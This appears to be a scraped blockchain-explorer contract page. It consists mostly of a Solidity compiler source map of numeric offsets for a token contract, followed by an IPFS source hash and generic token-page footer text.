1;24373:1;24389::::0;24405:7:::1;10717::::0;10744:6;-1:-1:-1;;;;;10744:6:0;;10671:87;24405:7:::1;24230:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;24230:223:0;;;-1:-1:-1;;;;;7602:15:1;;;24230:223:0::1;::::0;::::1;7584:34:1::0;7634:18;;;7627:34;;;;7677:18;;;7670:34;;;;7720:18;;;7713:34;7784:15;;;7763:19;;;7756:44;24427:15:0::1;7816:19:1::0;;;7809:35;7518:19;;24230:223:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;24471:13:0::1;::::0;24502:15:::1;::::0;24464:71:::1;::::0;-1:-1:-1;;;24464:71:0;;-1:-1:-1;;;;;24502:15:0;;::::1;24464:71;::::0;::::1;8340:51:1::0;-1:-1:-1;;8407:18:1;;;8400:34;24471:13:0;::::1;::::0;-1:-1:-1;24464:29:0::1;::::0;8313:18:1;;24464:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;24546:11:0::1;:18:::0;;-1:-1:-1;;24575:18:0;;;;;24617:12:::1;24604:10;:25:::0;24647:15:::1;::::0;::::1;::::0;-1:-1:-1;;24647:15:0::1;23810:860::o:0;11580:238::-;10717:7;10744:6;-1:-1:-1;;;;;10744:6:0;10100:10;10891:23;10883:68;;;;-1:-1:-1;;;10883:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;11683:22:0;::::1;11661:110;;;::::0;-1:-1:-1;;;11661:110:0;;8897:2:1;11661:110:0::1;::::0;::::1;8879:21:1::0;8936:2;8916:18;;;8909:30;8975:34;8955:18;;;8948:62;-1:-1:-1;;;9026:18:1;;;9019:36;9072:19;;11661:110:0::1;8695:402:1::0;11661:110:0::1;11782:28;11801:8;11782:18;:28::i;:::-;11580:238:::0;:::o;18187:335::-;-1:-1:-1;;;;;18280:19:0;;18272:68;;;;-1:-1:-1;;;18272:68:0;;9304:2:1;18272:68:0;;;9286:21:1;9343:2;9323:18;;;9316:30;9382:34;9362:18;;;9355:62;-1:-1:-1;;;9433:18:1;;;9426:34;9477:19;;18272:68:0;9102:400:1;18272:68:0;-1:-1:-1;;;;;18359:21:0;;18351:68;;;;-1:-1:-1;;;18351:68:0;;9709:2:1;18351:68:0;;;9691:21:1;9748:2;9728:18;;;9721:30;9787:34;9767:18;;;9760:62;-1:-1:-1;;;9838:18:1;;;9831:32;9880:19;;18351:68:0;9507:398:1;18351:68:0;-1:-1:-1;;;;;18430:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;18482:32;;1361:25:1;;;18482:32:0;;1334:18:1;18482:32:0;;;;;;;18187:335;;;:::o;18530:3870::-;-1:-1:-1;;;;;18618:18:0;;18610:68;;;;-1:-1:-1;;;18610:68:0;;10112:2:1;18610:68:0;;;10094:21:1;10151:2;10131:18;;;10124:30;10190:34;10170:18;;;10163:62;-1:-1:-1;;;10241:18:1;;;10234:35;10286:19;;18610:68:0;9910:401:1;18610:68:0;-1:-1:-1;;;;;18697:16:0;;18689:64;;;;-1:-1:-1;;;18689:64:0;;10518:2:1;18689:64:0;;;10500:21:1;10557:2;10537:18;;;10530:30;10596:34;10576:18;;;10569:62;-1:-1:-1;;;10647:18:1;;;10640:33;10690:19;;18689:64:0;10316:399:1;18689:64:0;18781:1;18772:6;:10;18764:64;;;;-1:-1:-1;;;18764:64:0;;10922:2:1;18764:64:0;;;10904:21:1;10961:2;10941:18;;;10934:30;11000:34;10980:18;;;10973:62;-1:-1:-1;;;11051:18:1;;;11044:39;11100:19;;18764:64:0;10720:405:1;18764:64:0;18839:17;10744:6;;-1:-1:-1;;;;;18875:15:0;;;10744:6;;18875:15;;;;:32;;-1:-1:-1;10717:7:0;10744:6;-1:-1:-1;;;;;18894:13:0;;;10744:6;;18894:13;;18875:32;18871:1732;;;18936:80;19012:3;18936:71;15178:1;18948:9;;:25;18947:59;;14987:1;18947:59;;;15082:1;18947:59;18936:6;;:10;:71::i;:::-;:75;;:80::i;:::-;19037:20;;18924:92;;-1:-1:-1;19037:20:0;;19033:458;;;19096:15;;-1:-1:-1;;;;;19082:30:0;;;19096:15;;19082:30;;;;:62;;-1:-1:-1;19130:13:0;;-1:-1:-1;;;;;19116:28:0;;;19130:13;;19116:28;;19082:62;19078:398;;;19232:9;19203:39;;;;:28;:39;;;;;;19243:12;-1:-1:-1;19169:210:0;;;;-1:-1:-1;;;19169:210:0;;11332:2:1;19169:210:0;;;11314:21:1;11371:2;11351:18;;;11344:30;11410:34;11390:18;;;11383:62;11481:34;11461:18;;;11454:62;-1:-1:-1;;;11532:19:1;;;11525:39;11581:19;;19169:210:0;11130:476:1;19169:210:0;19431:9;19402:39;;;;:28;:39;;;;;19444:12;19402:54;;19078:398;19519:13;;-1:-1:-1;;;;;19511:21:0;;;19519:13;;19511:21;:55;;;;-1:-1:-1;19550:15:0;;-1:-1:-1;;;;;19536:30:0;;;19550:15;;19536:30;;19511:55;:82;;;;-1:-1:-1;;;;;;19571:22:0;;;;;;:18;:22;;;;;;;;19570:23;19511:82;19507:311;;;19632:12;;19622:6;:22;;19614:60;;;;-1:-1:-1;;;19614:60:0;;11813:2:1;19614:60:0;;;11795:21:1;11852:2;11832:18;;;11825:30;11891:27;11871:18;;;11864:55;11936:18;;19614:60:0;11611:349:1;19614:60:0;19727:14;;19717:6;19701:13;19711:2;-1:-1:-1;;;;;17204:18:0;17177:7;17204:18;;;:9;:18;;;;;;;17111:119;19701:13;:22;;;;:::i;:::-;:40;;19693:79;;;;-1:-1:-1;;;19693:79:0;;12297:2:1;19693:79:0;;;12279:21:1;12336:2;12316:18;;;12309:30;12375:28;12355:18;;;12348:56;12421:18;;19693:79:0;12095:350:1;19693:79:0;19791:9;:11;;;:9;:11;;;:::i;:::-;;;;;;19507:311;19844:13;;-1:-1:-1;;;;;19838:19:0;;;19844:13;;19838:19;:44;;;;-1:-1:-1;;;;;;19861:21:0;;19877:4;19861:21;;19838:44;19834:182;;;19915:85;19996:3;19915:76;15228:1;19927:9;;:28;19926:64;;15036:1;19926:64;;19915:85;19903:97;;19834:182;20081:4;20032:28;17204:18;;;:9;:18;;;;;;20125:6;;;;;;;20124:7;:47;;;;-1:-1:-1;20158:13:0;;-1:-1:-1;;;;;20152:19:0;;;20158:13;;20152:19;20124:47;:79;;;;-1:-1:-1;20192:11:0;;;;;;;20124:79;:123;;;;;20230:17;;20207:20;:40;20124:123;:155;;;;;15280:2;20251:9;;:28;20124:155;20102:490;;;20314:69;20331:51;20335:6;20343:38;20347:20;20369:11;;20343:3;:38::i;:::-;20331:3;:51::i;:::-;20314:16;:69::i;:::-;20431:21;20475:22;;20471:106;;20522:35;20535:21;20522:12;:35::i;:::-;20295:297;20102:490;18909:1694;18871:1732;-1:-1:-1;;;;;20634:24:0;;;;;;:18;:24;;;;;;;;;:50;;-1:-1:-1;;;;;;20662:22:0;;;;;;:18;:22;;;;;;;;20634:50;20633:84;;;;-1:-1:-1;10717:7:0;10744:6;-1:-1:-1;;;;;20702:15:0;;;10744:6;;20702:15;;20633:84;:109;;;;-1:-1:-1;;;;;;20721:21:0;;20737:4;20721:21;;20633:109;:132;;;;-1:-1:-1;;;;;;20746:19:0;;20760:4;20746:19;;20633:132;20615:215;;;20803:15;20792:8;:26;20615:215;-1:-1:-1;;;;;20844:24:0;;;;;;:18;:24;;;;;;;;:76;;;;;15228:1;20889:10;;:29;;;;:::i;:::-;20873:12;:46;20844:76;20840:287;;;-1:-1:-1;;;;;20966:15:0;;;;;;;:9;:15;;;;;;:25;;;;;;;21010:13;;;;;;;;;;:23;;;;;;21068:26;;;;;;20985:6;1361:25:1;;1349:2;1334:18;;1215:177;21068:26:0;;;;;;;;21109:7;18530:3870;;;:::o;20840:287::-;-1:-1:-1;;;;;21142:24:0;;;;;;:18;:24;;;;;;;;21141:25;:52;;;;-1:-1:-1;;;;;;21171:22:0;;;;;;:18;:22;;;;;;;;21170:23;21141:52;21137:892;;;21214:13;;-1:-1:-1;;;;;21214:19:0;;;:13;;:19;21210:808;;-1:-1:-1;;;;;21281:13:0;;;21254:24;21281:13;;;:9;:13;;;;;21317;;21281;;21317:19;;;:13;;:19;21313:494;;21365:15;;;:20;21361:165;;15280:2;21433:9;;:28;21432:70;;21487:15;21432:70;;;21466:17;21482:1;21466:15;:17;:::i;:::-;21414:88;;21361:165;21313:494;;;-1:-1:-1;;;;;21602:15:0;;21574:25;21602:15;;;:9;:15;;;;;21644;;:20;;:57;;-1:-1:-1;21686:15:0;;21668:16;;:33;21644:57;21640:148;;;21748:16;;21730:34;;21640:148;21551:256;21313:494;21235:587;21210:808;;;-1:-1:-1;;;;;21875:15:0;;21847:25;21875:15;;;:9;:15;;;;;21944:8;;21927:16;;:25;;21944:8;21927:25;:::i;:::-;21909:15;;;:43;21987:15;21971:13;;;;:31;21210:808;22045:13;;22041:172;;22120:4;22102:24;;;;:9;:24;;;;;;:39;;22131:9;22102:28;:39::i;:::-;22093:4;22075:24;;;;:9;:24;;;;;;;:66;;;;22161:40;;-1:-1:-1;;;;;22161:40:0;;;;;;;22191:9;1361:25:1;;1349:2;1334:18;;1215:177;22161:40:0;;;;;;;;22041:172;-1:-1:-1;;;;;22241:15:0;;;;;;:9;:15;;;;;;:27;;22261:6;22241:19;:27::i;:::-;-1:-1:-1;;;;;22223:15:0;;;;;;:9;:15;;;;;:45;22295:40;22313:21;:6;22324:9;22313:10;:21::i;:::-;-1:-1:-1;;;;;22295:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;22279:13:0;;;;;;;:9;:13;;;;;:56;;;;22351:41;;;22370:21;:6;22381:9;22370:10;:21::i;:::-;22351:41;;1361:25:1;;;1349:2;1334:18;22351:41:0;1215:177:1;4920:240:0;5040:7;5101:12;5093:6;;;;5085:29;;;;-1:-1:-1;;;5085:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;5136:5:0;;;4920:240::o;23657:145::-;23759:10;;23751:43;;23714:12;;-1:-1:-1;;;;;23759:10:0;;23783:6;;23714:12;23751:43;23714:12;23751:43;23783:6;23759:10;23751:43;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;23657:145:0:o;22521:519::-;16311:6;:13;;-1:-1:-1;;16311:13:0;;;;;22623:16:::1;::::0;;22637:1:::1;22623:16:::0;;;;;::::1;::::0;;-1:-1:-1;;22623:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;22623:16:0::1;22599:40;;22668:4;22650;22655:1;22650:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;22650:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;22694:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;22694:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;22650:7;;22694:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;22684:4;22689:1;22684:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;22684:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;22786:15:::1;::::0;22727:98:::1;::::0;22758:4:::1;::::0;22786:15:::1;22803:11:::0;22727:8:::1;:98::i;:::-;22836:15;::::0;:196:::1;::::0;-1:-1:-1;;;22836:196:0;;-1:-1:-1;;;;;22836:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;22917:11;;22836:15:::1;::::0;22959:4;;22986::::1;::::0;23006:15:::1;::::0;22836:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;16347:6:0;:14;;-1:-1:-1;;16347:14:0;;;-1:-1:-1;;;;22521:519:0:o;11978:191::-;12052:16;12071:6;;-1:-1:-1;;;;;12088:17:0;;;-1:-1:-1;;;;;;12088:17:0;;;;;;12121:40;;12071:6;;;;;;;12121:40;;12052:16;12121:40;12041:128;11978:191;:::o;3379:98::-;3437:7;3464:5;3468:1;3464;:5;:::i;:::-;3457:12;3379:98;-1:-1:-1;;;3379:98:0:o;3778:::-;3836:7;3863:5;3867:1;3863;:5;:::i;22408:105::-;22465:7;22495:1;22493;:3;22492:13;;22504:1;22492:13;;;-1:-1:-1;22500:1:0;22408:105;-1:-1:-1;22408:105:0:o;2641:98::-;2699:7;2726:5;2730:1;2726;:5;:::i;3022:98::-;3080:7;3107:5;3111:1;3107;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1623:456::-;1700:6;1708;1716;1769:2;1757:9;1748:7;1744:23;1740:32;1737:52;;;1785:1;1782;1775:12;1737:52;1824:9;1811:23;1843:31;1868:5;1843:31;:::i;:::-;1893:5;-1:-1:-1;1950:2:1;1935:18;;1922:32;1963:33;1922:32;1963:33;:::i;:::-;1623:456;;2015:7;;-1:-1:-1;;;2069:2:1;2054:18;;;;2041:32;;1623:456::o;2273:118::-;2359:5;2352:13;2345:21;2338:5;2335:32;2325:60;;2381:1;2378;2371:12;2396:382;2461:6;2469;2522:2;2510:9;2501:7;2497:23;2493:32;2490:52;;;2538:1;2535;2528:12;2490:52;2577:9;2564:23;2596:31;2621:5;2596:31;:::i;:::-;2646:5;-1:-1:-1;2703:2:1;2688:18;;2675:32;2716:30;2675:32;2716:30;:::i;:::-;2765:7;2755:17;;;2396:382;;;;;:::o;2991:247::-;3050:6;3103:2;3091:9;3082:7;3078:23;3074:32;3071:52;;;3119:1;3116;3109:12;3071:52;3158:9;3145:23;3177:31;3202:5;3177:31;:::i;3243:388::-;3311:6;3319;3372:2;3360:9;3351:7;3347:23;3343:32;3340:52;;;3388:1;3385;3378:12;3340:52;3427:9;3414:23;3446:31;3471:5;3446:31;:::i;:::-;3496:5;-1:-1:-1;3553:2:1;3538:18;;3525:32;3566:33;3525:32;3566:33;:::i;3636:127::-;3697:10;3692:3;3688:20;3685:1;3678:31;3728:4;3725:1;3718:15;3752:4;3749:1;3742:15;3768:416;3857:1;3894:5;3857:1;3908:270;3929:7;3919:8;3916:21;3908:270;;;3988:4;3984:1;3980:6;3976:17;3970:4;3967:27;3964:53;;;3997:18;;:::i;:::-;4047:7;4037:8;4033:22;4030:55;;;4067:16;;;;4030:55;4146:22;;;;4106:15;;;;3908:270;;;3912:3;3768:416;;;;;:::o;4189:806::-;4238:5;4268:8;4258:80;;-1:-1:-1;4309:1:1;4323:5;;4258:80;4357:4;4347:76;;-1:-1:-1;4394:1:1;4408:5;;4347:76;4439:4;4457:1;4452:59;;;;4525:1;4520:130;;;;4432:218;;4452:59;4482:1;4473:10;;4496:5;;;4520:130;4557:3;4547:8;4544:17;4541:43;;;4564:18;;:::i;:::-;-1:-1:-1;;4620:1:1;4606:16;;4635:5;;4432:218;;4734:2;4724:8;4721:16;4715:3;4709:4;4706:13;4702:36;4696:2;4686:8;4683:16;4678:2;4672:4;4669:12;4665:35;4662:77;4659:159;;;-1:-1:-1;4771:19:1;;;4803:5;;4659:159;4850:34;4875:8;4869:4;4850:34;:::i;:::-;4920:6;4916:1;4912:6;4908:19;4899:7;4896:32;4893:58;;;4931:18;;:::i;:::-;4969:20;;4189:806;-1:-1:-1;;;4189:806:1:o;5000:140::-;5058:5;5087:47;5128:4;5118:8;5114:19;5108:4;5087:47;:::i;5145:168::-;5218:9;;;5249;;5266:15;;;5260:22;;5246:37;5236:71;;5287:18;;:::i;5318:356::-;5520:2;5502:21;;;5539:18;;;5532:30;5598:34;5593:2;5578:18;;5571:62;5665:2;5650:18;;5318:356::o;6678:251::-;6748:6;6801:2;6789:9;6780:7;6776:23;6772:32;6769:52;;;6817:1;6814;6807:12;6769:52;6849:9;6843:16;6868:31;6893:5;6868:31;:::i;7855:306::-;7943:6;7951;7959;8012:2;8000:9;7991:7;7987:23;7983:32;7980:52;;;8028:1;8025;8018:12;7980:52;8057:9;8051:16;8041:26;;8107:2;8096:9;8092:18;8086:25;8076:35;;8151:2;8140:9;8136:18;8130:25;8120:35;;7855:306;;;;;:::o;8445:245::-;8512:6;8565:2;8553:9;8544:7;8540:23;8536:32;8533:52;;;8581:1;8578;8571:12;8533:52;8613:9;8607:16;8632:28;8654:5;8632:28;:::i;11965:125::-;12030:9;;;12051:10;;;12048:36;;;12064:18;;:::i;12450:135::-;12489:3;12510:17;;;12507:43;;12530:18;;:::i;:::-;-1:-1:-1;12577:1:1;12566:13;;12450:135::o;12590:128::-;12657:9;;;12678:11;;;12675:37;;;12692:18;;:::i;13065:127::-;13126:10;13121:3;13117:20;13114:1;13107:31;13157:4;13154:1;13147:15;13181:4;13178:1;13171:15;13197:980;13459:4;13507:3;13496:9;13492:19;13538:6;13527:9;13520:25;13564:2;13602:6;13597:2;13586:9;13582:18;13575:34;13645:3;13640:2;13629:9;13625:18;13618:31;13669:6;13704;13698:13;13735:6;13727;13720:22;13773:3;13762:9;13758:19;13751:26;;13812:2;13804:6;13800:15;13786:29;;13833:1;13843:195;13857:6;13854:1;13851:13;13843:195;;;13922:13;;-1:-1:-1;;;;;13918:39:1;13906:52;;14013:15;;;;13978:12;;;;13954:1;13872:9;13843:195;;;-1:-1:-1;;;;;;;14094:32:1;;;;14089:2;14074:18;;14067:60;-1:-1:-1;;;14158:3:1;14143:19;14136:35;14055:3;13197:980;-1:-1:-1;;;13197:980:1:o;14182:217::-;14222:1;14248;14238:132;;14292:10;14287:3;14283:20;14280:1;14273:31;14327:4;14324:1;14317:15;14355:4;14352:1;14345:15;14238:132;-1:-1:-1;14384:9:1;;14182:217::o

Swarm Source

ipfs://0d2afb9131205441d4d9bddf3926ed24dfef21b83c75255993a96e305bd076b7
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.